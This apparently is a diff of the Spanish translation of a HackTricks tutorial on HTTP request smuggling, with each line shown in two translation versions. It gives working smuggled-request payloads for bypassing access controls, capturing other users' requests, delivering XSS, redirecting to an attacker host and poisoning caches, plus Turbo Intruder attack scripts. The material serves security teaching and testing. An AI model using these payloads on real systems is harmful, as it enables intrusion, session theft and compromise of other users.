_También note que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se adjuntará al parámetro **x**. Si es demasiado pequeño, solo se adjuntarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud) se lanzará un error para la siguiente solicitud._ _También ten en cuenta que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se va a agregar al parámetro **x**. Si es demasiado pequeño, solo se agregarán unos pocos bytes, y si es demasiado grande (más grande que la longitud de la siguiente solicitud), se producirá un error para la siguiente solicitud._
### Vulnerabilidades TE.TE ### Vulnerabilidades TE.TE
Aquí, los servidores frontal y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.\ Aquí, los servidores de front-end y back-end admiten ambos el encabezado `Transfer-Encoding`, pero uno de los servidores puede ser inducido a no procesarlo al ofuscar el encabezado de alguna manera.\
Hay potencialmente infinitas formas de ofuscar el encabezado `Transfer-Encoding`. Por ejemplo: Potencialmente hay formas interminables de ofuscar el encabezado `Transfer-Encoding`. Por ejemplo:
`Transfer-Encoding: xchunked`\ `Transfer-Encoding: xchunked`\
``\ `Transfer-Encoding : chunked`\``\ ``\ `Transfer-Encoding : chunked`\``\
@ -106,13 +106,13 @@ Hay potencialmente infinitas formas de ofuscar el encabezado `Transfer-Encoding`
`Transfer-Encoding`\ `Transfer-Encoding`\
`: chunked` `: chunked`
Dependiendo del servidor (proxy inverso o respaldo) que **deje de procesar** el encabezado **TE**, encontrará una vulnerabilidad **CL.TE** o una vulnerabilidad **TE.CL**. Dependiendo del servidor (proxy inverso o de respaldo) que **deje de procesar** el encabezado **TE**, encontrarás una **vulnerabilidad CL.TE** o una **vulnerabilidad TE.CL**.
## Encontrando HTTP Request Smuggling ## Encontrar Solicitudes HTTP de Contrabando
### Encontrando vulnerabilidades CL.TE usando técnicas de tiempo ### Encontrar vulnerabilidades CL.TE utilizando técnicas de temporización
Si una aplicación es vulnerable a la variante CL.TE del smuggling de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo: Si una aplicación es vulnerable a la variante CL.TE de solicitud de contrabando, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -124,19 +124,19 @@ Content-Length: 4
A A
0 0
``` ```
Dado que el servidor frontal utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor de fondo utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso de tiempo observable. Dado que el servidor front-end utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor back-end utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso observable en el tiempo.
A veces, en lugar de obtener un tiempo de espera, recibes un error 400 de solicitud incorrecta del host final como en el siguiente escenario, donde se envía una carga útil CL.TE: A veces, en lugar de recibir un tiempo de espera, se recibe una solicitud incorrecta 400 del host final como en el siguiente escenario, donde se envía un payload CL.TE:
![](<../../.gitbook/assets/image (444).png>) ![](<../../.gitbook/assets/image (444).png>)
Y la respuesta es una redirección que contiene un error dentro del cuerpo con incluso la versión del haproxy utilizado: Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión de haproxy utilizada:
![](<../../.gitbook/assets/image (443).png>) ![](<../../.gitbook/assets/image (443).png>)
### Encontrando vulnerabilidades TE.CL utilizando técnicas de temporización ### Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización
Si una aplicación es vulnerable a la variante TE.CL de contrabando de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso de tiempo: Si una aplicación es vulnerable a la variante TE.CL de request smuggling, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -147,39 +147,39 @@ Content-Length: 6
0 0
X X
``` ```
### Sondeando vulnerabilidades de contrabando de solicitudes HTTP ### Sondeando vulnerabilidades de HTTP Request Smuggling
Una vez que hayas encontrado que las **técnicas de temporización están funcionando**, necesitas **sondear** que puedes **alterar las solicitudes de otros clientes**.\ Una vez que hayas descubierto que las **técnicas de temporización funcionan**, necesitas **sondear** si puedes **alterar las solicitudes de otros clientes**.\
La forma más fácil de hacer esto es intentar envenenar tus propias solicitudes, **hacer que una solicitud a `/` devuelva un 404, por ejemplo**.\ La forma más sencilla de hacer esto es intentar envenenar tus propias solicitudes, **hacer una solicitud para `/` y que devuelva un 404, por ejemplo**.\
En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar la solicitud de un cliente para pedir `/404` provocando una respuesta 404 cuando el cliente estaba pidiendo cualquier otro recurso. En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar una solicitud de un cliente para pedir `/404`, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.
**Notas** **Notas**
Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de contrabando de solicitudes a través de la interferencia con otras solicitudes: Al intentar confirmar vulnerabilidades de request smuggling mediante la interferencia con otras solicitudes, se deben tener en cuenta algunas consideraciones importantes:
* La solicitud de "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no probará que la vulnerabilidad existe. * La solicitud de "ataque" y la solicitud "normal" deben enviarse al servidor utilizando conexiones de red diferentes. Enviar ambas solicitudes a través de la misma conexión no demostrará que la vulnerabilidad existe.
* La solicitud de "ataque" y la solicitud "normal" deben usar la misma URL y nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes del front-end a diferentes servidores back-end basados en la URL y los parámetros. Usar la misma URL y parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione. * La solicitud de "ataque" y la solicitud "normal" deben usar la misma URL y nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas dirigen las solicitudes de front-end a diferentes servidores de back-end según la URL y los parámetros. Usar la misma URL y parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor de back-end, lo cual es esencial para que el ataque funcione.
* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud de "ataque", estás en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud de "ataque". Si la aplicación está ocupada, podrías necesitar realizar varios intentos para confirmar la vulnerabilidad. * Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", estás compitiendo con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que necesites realizar varios intentos para confirmar la vulnerabilidad.
* En algunas aplicaciones, el servidor front-end funciona como un balanceador de carga y reenvía las solicitudes a diferentes sistemas back-end de acuerdo con algún algoritmo de balanceo de carga. Si tus solicitudes de "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la que podrías necesitar intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad. * En algunas aplicaciones, el servidor de front-end funciona como un balanceador de carga y reenvía las solicitudes a diferentes sistemas de back-end según algún algoritmo de equilibrio de carga. Si tus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas de back-end, entonces el ataque fallará. Esta es una razón adicional por la que es posible que necesites intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
* Si tu ataque tiene éxito en interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, entonces esto significa que otro usuario de la aplicación fue afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto perturbador en otros usuarios, y debes proceder con precaución. * Si tu ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, por lo que debes tener precaución.
### Forzando a través de encabezados hop-by-hop ### Forzando a través de encabezados hop-by-hop
Abusando de los encabezados hop-by-hop podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar del contrabando de solicitudes HTTP**. Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de un HTTP request smuggling**.
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
Para **más información sobre encabezados hop-by-hop** visita: Para **más información sobre los encabezados hop-by-hop**, visita:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} {% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md) [abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %} {% endcontent-ref %}
## Abusando del HTTP Request Smuggling ## Abuso de HTTP Request Smuggling
### Para evadir controles de seguridad front-end ### Para evadir controles de seguridad del front-end
A veces los **proxies front-end realizan algunas comprobaciones de seguridad**. Puedes evitarlas abusando del HTTP Request Smuggling ya que podrás **eludir las protecciones**. Por ejemplo, en este ejemplo **no puedes acceder a `/admin` desde el exterior** y el proxy front-end está comprobando eso, pero este **proxy no está comprobando la solicitud embebida**: A veces los **proxies del front-end realizan algunas verificaciones de seguridad**. Puedes evitarlos abusando de HTTP Request Smuggling ya que podrás **burlar las protecciones**. Por ejemplo, en este caso **no puedes acceder a `/admin` desde el exterior** y el proxy del front-end lo está verificando, pero este **proxy no está verificando la solicitud incrustada**:
**CL.TE** **CL.TE**
@ -213,13 +213,13 @@ A veces los **proxies front-end realizan algunas comprobaciones de seguridad**.
`0`\ `0`\
`\` `\`
### Revelando la reescritura de solicitudes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
En muchas aplicaciones, el **servidor front-end realiza alguna reescritura de solicitudes** antes de que sean enviadas al servidor back-end, típicamente añadiendo algunos encabezados adicionales a la solicitud.\ En muchas aplicaciones, el **servidor del front-end realiza alguna reescritura de solicitudes** antes de enviarlas al servidor del back-end, típicamente agregando algunos encabezados de solicitud adicionales.\
Una práctica común es **añadir al encabezado de la solicitud** `X-Forwarded-For: <IP del cliente>` o algún encabezado similar para que el back-end conozca la IP del cliente.\ Una acción común es **agregar al encabezado de la solicitud** `X-Forwarded-For: <IP del cliente>` u otro encabezado similar para que el back-end conozca la IP del cliente.\
A veces, si puedes **encontrar qué nuevos valores se añaden** a la solicitud podrías ser capaz de **eludir protecciones** y **acceder a información/endpoint ocultos**. A veces, si puedes **encontrar qué nuevos valores se agregan** a la solicitud, podrías ser capaz de **burlar protecciones** y **acceder a información oculta**/**puntos finales**.
Para descubrir cómo el proxy está reescribiendo la solicitud necesitas **encontrar un parámetro POST que el back-end reflejará su valor** en la respuesta. Luego, usa este parámetro como el último y utiliza un exploit como este: Para descubrir cómo el proxy reescribe la solicitud, necesitas **encontrar un parámetro POST que el back-end reflejará en su valor** en la respuesta. Luego, utiliza este parámetro como el último y usa un exploit como este:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -230,16 +230,16 @@ Para descubrir cómo el proxy está reescribiendo la solicitud necesitas **encon
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\ ``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=` `search=`
En este caso la siguiente solicitud se añadirá después de `search=`, que es también **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, va a **reflejar los encabezados de la siguiente solicitud**. En este caso, la próxima solicitud se agregará después de `search=`, que es también **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, se **reflejarán los encabezados de la próxima solicitud**.
Nota que **solo la longitud indicada en el encabezado `Content-Length` de la solicitud embebida se reflejará**. Si usas un número bajo, solo se reflejarán unos pocos bytes, si usas un número mayor que la longitud de todos los encabezados, entonces la solicitud embebida generará un error. Entonces, deberías **comenzar** con un **número pequeño** e **incrementarlo** hasta que veas todo lo que querías ver.\ Ten en cuenta que **solo se reflejará la longitud indicada en el encabezado `Content-Length` de la solicitud incrustada**. Si usas un número bajo, solo se reflejarán unos pocos bytes, si usas un número mayor que la longitud de todos los encabezados, entonces la solicitud incrustada arrojará un error. Por lo tanto, debes **comenzar** con un **número pequeño** y **aumentarlo** hasta que veas todo lo que deseas ver.\
Nota también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda. También ten en cuenta que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy front-end está reescribiendo la solicitud. Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy del front-end está reescribiendo la solicitud.
### Capturando solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### Capturando solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes añadir la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente: Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes agregar la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\ `Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
@ -257,20 +257,20 @@ Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de l
\`\`\ \`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=` `csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
En este caso, el valor del **parámetro comentario** se **guardará dentro de un comentario** de una publicación en la página que es **disponible públicamente**, por lo que un **comentario aparecerá con el contenido de la siguiente solicitud**. En este caso, el valor del **parámetro comentario** se guardará dentro de un comentario de una publicación en la página que es **públicamente accesible**, por lo que aparecerá un **comentario con el contenido de la siguiente solicitud**.
_Una limitación con esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud contrabandeada. Para envíos de formularios codificados en URL, será el carácter `&`, lo que significa que el contenido que se almacena de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._ _Una limitación de esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que es aplicable para la solicitud contrabandeada. Para envíos de formularios codificados en URL, esto será el carácter `&`, lo que significa que el contenido almacenado de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._
Nota también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda. Ten en cuenta también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
### Usando HTTP Request Smuggling para explotar XSS reflejado ### Usar HTTP request smuggling para explotar XSS reflejado
Si la página web también es **vulnerable a XSS reflejado**, puedes abusar del HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado desde HTTP Request Smuggling tiene algunas ventajas: Si la página web también es **vulnerable a XSS reflejado**, puedes abusar de HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado desde HTTP Request Smuggling tiene algunas ventajas:
* **No requiere interacción con los usuarios víctimas** * **No requiere interacción con los usuarios víctima**
* Se puede utilizar para **explotar** comportamientos XSS en partes de la solicitud que **no se pueden controlar trivialmente en un ataque XSS reflejado normal**, como los encabezados de las solicitudes HTTP. * Se puede usar para **explotar** el comportamiento de XSS en partes de la solicitud que **no pueden ser controladas trivialmente en un ataque de XSS reflejado normal**, como los encabezados de solicitud HTTP.
Si una web es vulnerable a XSS reflejado en el encabezado User-Agent puedes usar este payload para explotarlo: Si una web es vulnerable a XSS reflejado en el encabezado User-Agent, puedes usar este payload para explotarlo:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\ `Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
@ -289,9 +289,9 @@ Si una web es vulnerable a XSS reflejado en el encabezado User-Agent puedes usar
\`\`\ \`\`\
`A=` `A=`
### Usando HTTP Request Smuggling para convertir una redirección interna en una redirección abierta <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a> ### Usar HTTP request smuggling para convertir una redirección en el sitio en una redirección abierta <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
Muchas aplicaciones realizan redirecciones internas de una URL a otra y colocan el nombre de host del encabezado `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud de una carpeta sin una barra inclinada al final recibe una redirección a la misma carpeta incluyendo la barra inclinada: Muchas aplicaciones realizan redirecciones en el sitio de una URL a otra y colocan el nombre de host del encabezado `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud para una carpeta sin una barra diagonal recibe una redirección a la misma carpeta incluyendo la barra diagonal:
`GET /home HTTP/1.1`\ `GET /home HTTP/1.1`\
`Host: normal-website.com`\ `Host: normal-website.com`\
@ -311,7 +311,7 @@ Este comportamiento normalmente se considera inofensivo, pero puede ser explotad
`Host: attacker-website.com`\ `Host: attacker-website.com`\
`Foo: X` `Foo: X`
La solicitud contrabandeada desencadenará una redirección al sitio web del atacante, lo que afectará la siguiente solicitud del usuario que sea procesada por el servidor back-end. Por ejemplo: La solicitud contrabandeada desencadenará una redirección al sitio web del atacante, lo que afectará la solicitud del siguiente usuario que sea procesada por el servidor del back-end. Por ejemplo:
`GET /home HTTP/1.1`\ `GET /home HTTP/1.1`\
`Host: attacker-website.com`\ `Host: attacker-website.com`\
@ -323,15 +323,15 @@ La solicitud contrabandeada desencadenará una redirección al sitio web del ata
Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta. Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta.
### Usando HTTP Request Smuggling para realizar envenenamiento de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a> ### Usar HTTP request smuggling para realizar envenenamiento de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
Si alguna parte de la **infraestructura front-end realiza caché de contenido** (generalmente por razones de rendimiento) entonces **podría ser posible envenenar esa caché modificando la respuesta del servidor**. Si alguna parte de la **infraestructura del front-end realiza almacenamiento en caché de contenido** (generalmente por razones de rendimiento), **podría ser posible envenenar esa caché modificando la respuesta del servidor**.
Ya hemos visto cómo modificar el valor de retorno esperado del servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada está pidiendo `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará en caché con el contenido de `/index.html` haciendo `/static/include.js` inaccesible para los clientes (¿DoS?). Ya hemos visto cómo modificar el valor devuelto esperado del servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de `/index.html` cuando la solicitud envenenada esté pidiendo `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará con el contenido de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los clientes (¿DoS?).
Nota que esto es aún más interesante si encuentras algún **Open Redirect** o alguna **redirección interna a redirección abierta** (última sección). Porque, podrías ser capaz de **cambiar los valores de caché** de `/static/include.js` con **los de un script controlado por ti** (haciendo un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`). Esto es aún más interesante si encuentras alguna **Redirección Abierta** o alguna **redirección en el sitio a redirección abierta** (última sección). Porque podrías ser capaz de **cambiar los valores en caché** de `/static/include.js` con los **de un script controlado por ti** (realizando un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`).
En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección interna a redirección abierta** para modificar los contenidos de la caché de `/static/include.js` para **servir código JS controlado** por el atacante: En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección en el sitio a redirección abierta** para modificar los contenidos en caché de `/static/include.js` para **servir código JS controlado** por el atacante:
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable.net`\ `Host: vulnerable.net`\
@ -347,18 +347,18 @@ En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché
\`\`\ \`\`\
`x=1` `x=1`
Nota cómo la solicitud embebida está pidiendo `/post/next?postId=3` Esta solicitud será redirigida a `/post?postId=4` y **usará el valor del encabezado Host** para indicar el dominio. Por lo tanto, puedes **modificar el encabezado Host** para apuntar al servidor del atacante y la redirección usará ese dominio (**redirección interna a redirección abierta**). Observa cómo la solicitud incrustada está pidiendo `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4` y **utilizará el valor del encabezado Host** para indicar el dominio. Por lo tanto, puedes **modificar el encabezado Host** para apuntar al servidor del atacante y la redirección usará ese dominio (**redirección en el sitio a redirección abierta**).
Luego, **después de envenenar el socket**, necesitas enviar una **solicitud GET** a **`/static/include.js`** esta solicitud será **envenenada** por la solicitud de **redirección interna a redirección abierta** y **obtendrá los contenidos del script controlado por el atacante**. Luego, **después de envenenar el socket**, debes enviar una **solicitud GET** a \*\*`/static/include.js`\*\* esta solicitud será **envenenada** por la solicitud **de redirección en el sitio a redirección abierta** y **obtendrá los contenidos del script controlado por el atacante**.
La próxima vez que alguien pida `/static/include.js` se servirán los contenidos en caché del script del atacante (XSS general). La próxima vez que alguien solicite `/static/include.js`, se servirán los contenidos en caché del script del atacante (XSS general).
### Usando HTTP Request Smuggling para realizar decepción de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a> ### Usar HTTP request smuggling para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **¿Cuál es la diferencia entre envenenamiento de caché web y decepción de caché web?** > **¿Cuál es la diferencia entre envenenamiento de caché web y engaño de caché web?**
> >
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación. > * En **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> * En la **decepción de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y el atacante luego recupera este contenido de la caché. > * En **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
En esta variante, el atacante contrabandea una solicitud que devuelve algún contenido sensible específico del usuario. Por ejemplo: En esta variante, el atacante contrabandea una solicitud que devuelve algún contenido sensible específico del usuario. Por ejemplo:
@ -371,12 +371,12 @@ En esta variante, el atacante contrabandea una solicitud que devuelve algún con
`GET /private/messages HTTP/1.1`\ `GET /private/messages HTTP/1.1`\
`Foo: X` `Foo: X`
Si el **envenenamiento alcanza a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **almacenado en caché**. Los contenidos de `/private/messages` de la víctima se almacenarán en caché en `/someimage.png` y el atacante podrá robarlos.\ Si el **veneno llega a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **caché**, los contenidos de `/private/messages` del usuario víctima se almacenarán en `/someimage.png` y el atacante podrá robarlos.\
Nota que el **atacante no sabe qué contenido estático estaba intentando acceder la víctima** por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todo** el contenido estático y **buscar los datos privados**. Ten en cuenta que el **atacante no sabe qué contenido estático estaba intentando acceder el usuario víctima** por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todos** los contenidos estáticos y **buscar los datos privados**.
### Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP ### Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación: ¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
{% content-ref url="../http-response-smuggling-desync.md" %} {% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md) [http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -386,7 +386,7 @@ Nota que el **atacante no sabe qué contenido estático estaba intentando accede
### CL.TE ### CL.TE
De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) Desde [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -427,7 +427,7 @@ table.add(req)
``` ```
### TE.CL ### TE.CL
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) Desde: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, engine = RequestEngine(endpoint=target.endpoint,
@ -471,9 +471,9 @@ table.add(req)
``` ```
## Más información ## Más información
![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) ![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
[Imagen de aquí.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104) [Imagen desde aquí.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
## Herramientas ## Herramientas
@ -481,7 +481,7 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) * [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el smuggling de solicitudes. * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el tráfico de solicitudes.
## Referencias ## Referencias
@ -495,14 +495,14 @@ table.add(req)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
